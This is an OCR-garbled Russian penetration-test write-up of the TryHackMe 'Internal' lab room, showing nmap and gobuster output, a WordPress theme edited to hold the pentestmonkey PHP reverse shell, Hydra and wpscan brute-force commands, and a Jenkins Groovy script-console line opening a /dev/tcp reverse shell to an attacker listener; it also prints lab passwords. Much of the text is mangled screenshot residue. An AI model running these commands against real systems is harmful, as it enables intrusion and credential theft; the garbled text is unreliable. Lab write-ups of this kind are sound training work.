OTyer

¢/ Wcnonuutenb

TecTupoBaHue BbiNonHeHo KpaBuoBbiM Hukonaem, HauMHaowWmm cneumanmcTomM no
MHpopMaLnoHHoN BesonacHocTu B 19:46 (koMHama MHe roHpasusiach, HO rnokalasnachk
SI8HO He Ha xap0)

ObnacTtb TeCTUPOBaAHUA U UCNOSNb30BaHHbIE CIYXObl.

IP/pomeH Mopt CepBuc CepBuc ueneBoro cepBepa
localhost 5901 WinKexServer -
localhost - Nmap Port Scanner -
localhost - Gobuster Directory Scanner -
localhost - Obsidian Notes -
localhost 1234 Reverse Shell listener -
10.10.47.117 8080 Apache2 Web Server +

10.10.47.117 8000 Jenkins Internal Web Server +

Ucnonb3oBaHHbIe (hannbi:

user.txt - cpnar.
root.txt - donar.
linpeas - ckpUNT 4N NOBbILUEHUS NPUBUIIENMIA Ha JIMHYKC.

php reverse shell - pesepc wenn ot pentest monkey.
CVE-2024-23897.py - LFI gna Jenkins.

NMopspok pencreun

1) 3anyck openvpn ana goctyna; kex ana toro, 4Tob6bl caenaTtb
linux ynobHee

kex ——win && sudo openvpn Kolya@80808.ovpn


https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
https://github.com/h4x0r-dz/CVE-2024-23897?tab=readme-ov-file

2) CkaHMpoBaHu/e NopToB C NOMOLbLIO hmap.

» Pesynbratbi:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6pl Ubuntu dubuntu®.3 (Ubuntu Linux; protocol
2.0)

| ssh-hostkey:

| 20U8 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)

| 256 ed:6U:ed:33:e5:¢c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 bO:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

| _http-title: Apache2 Ubuntu Default Page: It works

| _http-server-header: Apache/2.4.29 (Ubuntu)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

3) 3anyck Gobuster ona noncka oUpPeKTopumn.

» Pesynerathbi:

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://internal.thm/

[+] Method: GET

[+] Threads: 10

[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: dou

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

/blog (Status: 301) [Size: 311] [-—>
http://internal.thm/blog/]

/wordpress (Status: 301) [Size: 316] [-—>
http://internal.thm/wordpress/]

/javascript (Status: 301) [Size: 317] [-—>
http://internal.thm/javascript/]

/phpmyadmin (Status: 301) [Size: 317] [-—>

http://internal.thm/phpmyadmin/]

Progress: 57547 / 220561 (26.09%)"C

[!] Keyboard interrupt detected, terminating.
Progress: 57603 / 220561 (26.12%)



4) U Tak, gobuster Hawen aBe MHTepecHble anpekTopun. C
nomouibio /wordpress s1 ucnonb3oBan wpscan, U BOT YTO OH MHe
Bblaan:

Pesynbrar:
dp

s. With a fo...

Version:
Found

rulnerability
ily requests

ata Receivw
Memory used:
time:

ei



https://wpscan.com/

Finishe
Re t

(C nomoLLbIo 3TUX AaHHbIX Mbl BOMAEM B aAMUHKY)

5) 3axoaum u nony4aem reverse shell:

inst 1 user/s

Pesynbrar:

B  Dashboard <Internal —Wor X  +

< C @

QO & internal.thm

Kali Linux #8 KaliTools « KaliDocs N KaliForums eX Kali NetHunter

W & mtemal &3 P + N
@ Dashboard Dashboard

Home

Welcome to WordPress!
Ve've nbled some |

Pages
- .our Site
Comments

Appearance

Plugins @

Site Health Status

Should be improved

ssues that shoul

addressed

toim s performance curity
Take a look at the 9 items on the Site Health scree
At a Glance

A 1post L]

| ] 0

Exploit-DB

Google Hacking DB OffSec

Next Steps More Actions

=+ AddanAbout | e
& Setupyour me
& Viewy
a Quick Draft B
tle
nt
Save Draft
WordPress Events and News -


https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Edit Themes

Twenty Seventeen: 404 Template (404.php)

Selected file content:

Limitatl

9 OC_ope 1 stream set i PHP version 4.3+ 5+
40 Jse of stre select n file de s returned | 0C_ope will fail and ret FALSE ler Windows
41 ! )i Le-time ytior ire needs daeme ( [ e p 1 T ese ; [ 11 Lat
43 Usage
44
5 tt pentestmonkey t/too ) vers hell if L t
7 set _time limit (0);
8 SVERSION = "1.8";
4 z C

CHA

w; id; /bin/st

9 ) noni ( i 0ssibl id zombi 1
A
2 pentl_f 1 d r avai L ) 111 L to daer 1s

) r php process and avoid zombi worth a 1
64 if (function exists('pcntl fork')) {
65 / Fork a have the parent process exit

tpid = pcntl fork();

Documentation: | Function Name 2%

= Edit Themes < Internal — * +

X @ Q, internal.thm ]

Kali Linux #8 KaliTools « KaliDocs M KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

4 GNU/Linux

6) Janbwe A ucnonb3oBan linpeas, [ONro Konancsa B AUPEKTOpUSX,
HO B UTOre Hawersn B aupeKkTopumn /opt UHTepecHY PUrHIO:

Pesynbrar:



https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS

7) 3axoA4MM Mo HYXXHbIM AaHHbIM no ssh, yutaem cdnar n BUANM ewe
OAWH UHTEepeCHbIn hann:

Pesynbrar:

8) OH roBopuUT HaM NPO KaKOM-TO CaUT BHYTPU CeTU. TaK 4YTO Mbl
HacTpauBaeM TYHHesllb U CMOTPUM Ha Hero:

Pesynerar:

nna@internal . thm

U/Linux 4




< 4@ Signin [Jenkins]

Exploit-DB Google Hacking DB OffSec

é'ul
i

Welcome to Jenkins!

9) Hy s noryrnun 4to MOXHO caenaTtb U Hawen CVE-2024-23897,
OAHAaKO MHe He nomorno. NoaToMy Hago O6bINIO NPOCTO TYNO
opyTchopcuTb naponb. T. K. y MEHS 3TO 3aHASO YYThb JIM He Yac u
rmaBHoe Naposib He Halersricsl, 1 NOCMOTpes ero B panutane (COpsiH).

3axoaum:
& Tip
ECJ‘II/I BaM I/IHTepeCHO, TO BOT Takad KOMaHAa 6yp,eT npanmbHee BCero.:

hydra -1 admin -P /usr/share/seclists/Passwords/xato-1mil-10000.txt -f -e ntp -v -s 8000 -t 4
-w 16 -b /path/to/payload.ffuf

Hy nnun 4to-TO noxoxee :)


https://github.com/h4x0r-dz/CVE-2024-23897?tab=readme-ov-file

Pesynbrar:

B » Edit The Internal — x| 4 New Item [Jenkins]

« C @ QO D localhost

Kali Linux @ KaliTools # KaliDocs M KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Jenkins All

Enter an item name

N Freestyle project

B This is the central feature of Jenkins. Jenkins will build your project, combining any SCM with any build system, and this can be even used for something other than software b

Pipeline
"

Orchestrates long-running activities that can span multiple build agents. Suitable for building pipelines (formerly known as workflows) and/or erganizing complex activities th
” Multi-configuration project
! Suitable for projects that need a large number of different configurations, such as testing on multiple environments, platform-specific builds, etc.
E Folder
Creates a container that stores nested items in it. Useful for grouping things together. Unlike view, which is just a filter, a folder creates a separate namespace, so you can have

.h as they are in different folders

GitHub Organization

Scans a GitHub organization (or user account) for all repositories matching some defined markers.

Multibranch Pipeline

Creates a set of Pipeline projects according to detected branches in one SCM repository

10) 3aTtem MbI nony4yaem reverse shell c gxxaBon (M3BUHUTE, MOU
HaBblKM A)XaBbl OCTaBMSAIOT XenaTb Ny4luero):

Pesynbrar:

o ©
Edit Themes < Internal —V X @ Jenkins

<« C @ O D localhost:

KaliLinux @ Kali Tools < Kali D N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

® Jenkins 2 admin 5] logout
Jenkins
S - .
& Newltem
= Script Console

S}
& recple

Typein an arbitrary Groovy script and execute it on the server. Useful for trouble-shooting and diagnostics. Use the ‘println’ command to see the output (if you use System . out, it will go to the server's stdout, which is harder to see.) Example
= Build History println(Jenkins.instance.pluginManager. plugins)

24 Monsge enkins Allthe classes from all the plugins are visible. jenkins. ¥, jenkins.mode1. ¥, hudson. *, and hudson.model. * are pre-imported.

Runtime, getRuntime ()
r.exec(["/bin/bash”," -c","exec 5<>/dev/tcp/10.9.1.233/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

r=
& MyvViews p=

%4 Lockable Resources

B NewView

Build Queue ~

No builds in the queve

Build Executor Status "~

1 dle

Result

Result: java.lang.UNIXProcess@lbcebelc

nepea atnm obsasatenbHo ctaBuM netcat listener (B moem cnydae Ha nopt 1234)

11) Nonyyasn reverse shell Mbl N0 aHanorMnm cMOTpPUM AUPEKTOPUIO
lopt n 0 yyno:



Pesynbrar:

18: ona: command not found

these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you
to the root user account.

root:tréubl3guM!@#123

12) 3axoanm Ha OKHO c nosnb3oBaTtenem ssh aubreanna n meHsiem
ero Ha root. lNoTtom untaem cpnar:

Pesynbrar:

% su root
Password:
root@internal: /home/aubreanna# ls

¢ MpumeyaHne
MpuKonbHas KOMHaTa, Ho A Obl ee He oLeHMBan Ha xapa,.

Cnacunbo TryHackMe 3a komHaTy!

HanaeHHbIe ya3BMMocCcTH
Brute Force

PoC:



Valid Combinations Found:
Username: admin, Password: my2boys

result vulnerabil

S
2

(MyHKT 4)
n (NyHKT 9)

CVSSv3 Score: 8.8 (HIGH)

OnucaHme:

B naHHOM cnyyae gaHHasa ataka cBsi3aHa C NpPOCTbIMU NaponsMu.
BocnpousBeaeHue ya3sBMMOCTMU:

wpscan ——url http://internal.thm/wordpress -U admin —-P rockyou.txt
PekomeHaauum no YCTPAHEHUIO:

O6HoBMTE Naponun Ha Gornee CroXHbIEe.

Bupeo BbINONHeHUs

OpwvirnHan:



©aiin(F) Mpaeka(E) BuA(v) Aok-nawen(D) Mpoduns(P) Komnekuwscuew(S) Cepeuc(T) Cnpaeka (H)

S ume 0w M,

ViCrouruIK e BmiBpan (3]

Cuembt & Ucrounmkn B Mukwep ssyka @ Nepexoas mexay cuenamm 3 Ynpasnenne
Mukp/gon

Cuena L y aryxanie Hauars TpaHcraumto
Anvrenshocts 300 ms. Hauats 3anuce

3anycK BMPTYanbHO Kaveps!

0:00..56:40. . e

Hacrpoiikin
_ Buxog
o ~Av

. 11
-l B £ oee nz‘n‘\znzs 5

YouTube


https://youtu.be/BvRLoTTd3aA

